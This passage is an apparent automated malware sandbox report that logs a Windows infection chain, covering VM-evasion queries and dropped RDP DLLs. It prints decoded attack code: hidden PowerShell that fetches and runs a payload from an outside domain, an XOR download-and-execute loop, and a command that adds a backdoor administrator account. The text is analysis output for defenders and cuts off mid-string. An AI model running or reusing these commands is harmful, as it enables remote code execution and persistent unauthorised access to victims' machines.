            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Queries memory information (via WMI often done to detect virtual machines)
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory
            Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive
            Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
            Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory
            Source: C:\Windows\Temp\svczHost.exeMemory allocated: 1B16BDC0000 memory reserve | memory write watch
            Source: C:\Windows\Temp\myRdpService.exeMemory allocated: 132FD0F0000 memory reserve | memory write watch
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057932DB str word ptr [eax]11_2_00007FFC057932DB
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9897Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9894Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9875Jump to behavior
            Source: C:\Windows\System32\conhost.exeWindow / User API: threadDelayed 381
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9840
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9813
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9861
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9750
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9877
            Source: C:\Windows\Temp\rdp.exeDropped PE file which has not been started: C:\Windows\Temp\rdpwrap.dllJump to dropped file
            Source: C:\Windows\Temp\rdp.exeDropped PE file which has not been started: C:\Windows\System32\rfxvmt.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.dllJump to dropped file
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4844Thread sleep count: 9894 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644Thread sleep time: -900000s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904Thread sleep count: 9875 > 30Jump to behavior
            Source: C:\Windows\System32\svchost.exe TID: 9668Thread sleep time: -30000s >= -30000s
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608Thread sleep count: 9840 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4920Thread sleep count: 93 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792Thread sleep count: 9813 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2764Thread sleep count: 99 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200Thread sleep count: 9861 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5876Thread sleep count: 9750 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012Thread sleep count: 176 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9916Thread sleep count: 9877 > 30
            Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\net1.exeLast function: Thread delayed
            Source: C:\Windows\Temp\myRdpService.exeLast function: Thread delayed
            Source: C:\Windows\Temp\myRdpService.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformation
            Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformation
            Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformation
            Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\Windows\System32 FullSizeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
            Source: powershell.exe, 0000000B.00000002.1444809039.000001E700C61000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
            Source: powershell.exe, 0000000B.00000002.1912073525.000001E779750000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <!-- IFRpbWUtU3RhbXAgUENBIDIwMTAwDQYJKoZIhvcNAQEFBQACBQDk2nlVMCIYDzIw -->
            Source: powershell.exe, 0000000B.00000002.1444809039.000001E700C61000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
            Source: svchost.exe, 0000000F.00000002.2311119206.0000011DE782A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0
            Source: powershell.exe, 00000007.00000002.1126215398.0000029F9B99E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWB%SystemRoot%\system32\mswsock.dll
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
            Source: svchost.exe, 0000000F.00000002.2315321581.0000011DE9687000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: svchost.exe, 00000013.00000002.2309781649.000001EBEFC02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
            Source: powershell.exe, 0000000B.00000002.1444809039.000001E700C61000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
            Source: powershell.exe, 00000002.00000002.1271255401.000002352BBA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1900105818.000001E7784D8000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2309882747.000001B16BE55000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\System32\sppsvc.exeProcess queried: DebugPort
            Source: C:\Windows\System32\sppsvc.exeProcess queried: DebugPort
            Source: C:\Windows\System32\sppsvc.exeProcess queried: DebugPort
            Source: C:\Windows\System32\sppsvc.exeProcess queried: DebugPort
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\Temp\svczHost.exeProcess token adjusted: Debug
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Windows\Temp\myRdpService.exeProcess token adjusted: Debug
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Bypasses PowerShell execution policy
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="
            Encrypted powershell cmdline option found
            Source: C:\Windows\System32\cmd.exeProcess created: Base64 decoded IEX ([TeXT.ENCoDiNg]::UTF8.GETSTring((iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly91eXQxbjhkZWQ5ZmIzODAuY29tLzBEMEQ=")))).CONtent))
            Source: C:\Windows\System32\cmd.exeProcess created: Base64 decoded $uri = "https://uyt1n8ded9fb380.com/file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1995f586e0506664f82bb18e37c1b05bcebce79d9c16c6ef2f156bfb332cf89756f9d3e8fc8833cb1a4c6ace01541c600bb468dea789dd436ea70d9b56c3a79651381caa20746619bba6cf262e2041689";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg | ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages | ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
            Source: C:\Windows\Temp\svczHost.exeProcess created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive | Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test | Out-File -FilePath "deviceId.txt" -Encoding UTF8
            Source: C:\Windows\Temp\svczHost.exeProcess created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
            Source: C:\Windows\Temp\svczHost.exeProcess created: Base64 decoded get-service "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens | ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } | Out-File -FilePath "C:\Windows\Temp\dp"
            Source: C:\Windows\System32\cmd.exeProcess created: Base64 decoded IEX ([TeXT.ENCoDiNg]::UTF8.GETSTring((iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly91eXQxbjhkZWQ5ZmIzODAuY29tLzBEMEQ=")))).CONtent))Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: Base64 decoded $uri = "https://uyt1n8ded9fb380.com/file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1995f586e0506664f82bb18e37c1b05bcebce79d9c16c6ef2f156bfb332cf89756f9d3e8fc8833cb1a4c6ace01541c600bb468dea789dd436ea70d9b56c3a79651381caa20746619bba6cf262e2041689";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg | ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages | ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}Jump to behavior
            Source: C:\Windows\Temp\svczHost.exeProcess created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive | Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test | Out-File -FilePath "deviceId.txt" -Encoding UTF8
            Source: C:\Windows\Temp\svczHost.exeProcess created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
            Source: C:\Windows\Temp\svczHost.exeProcess created: Base64 decoded get-service "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens | ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } | Out-File -FilePath "C:\Windows\Temp\dp"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline"Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgB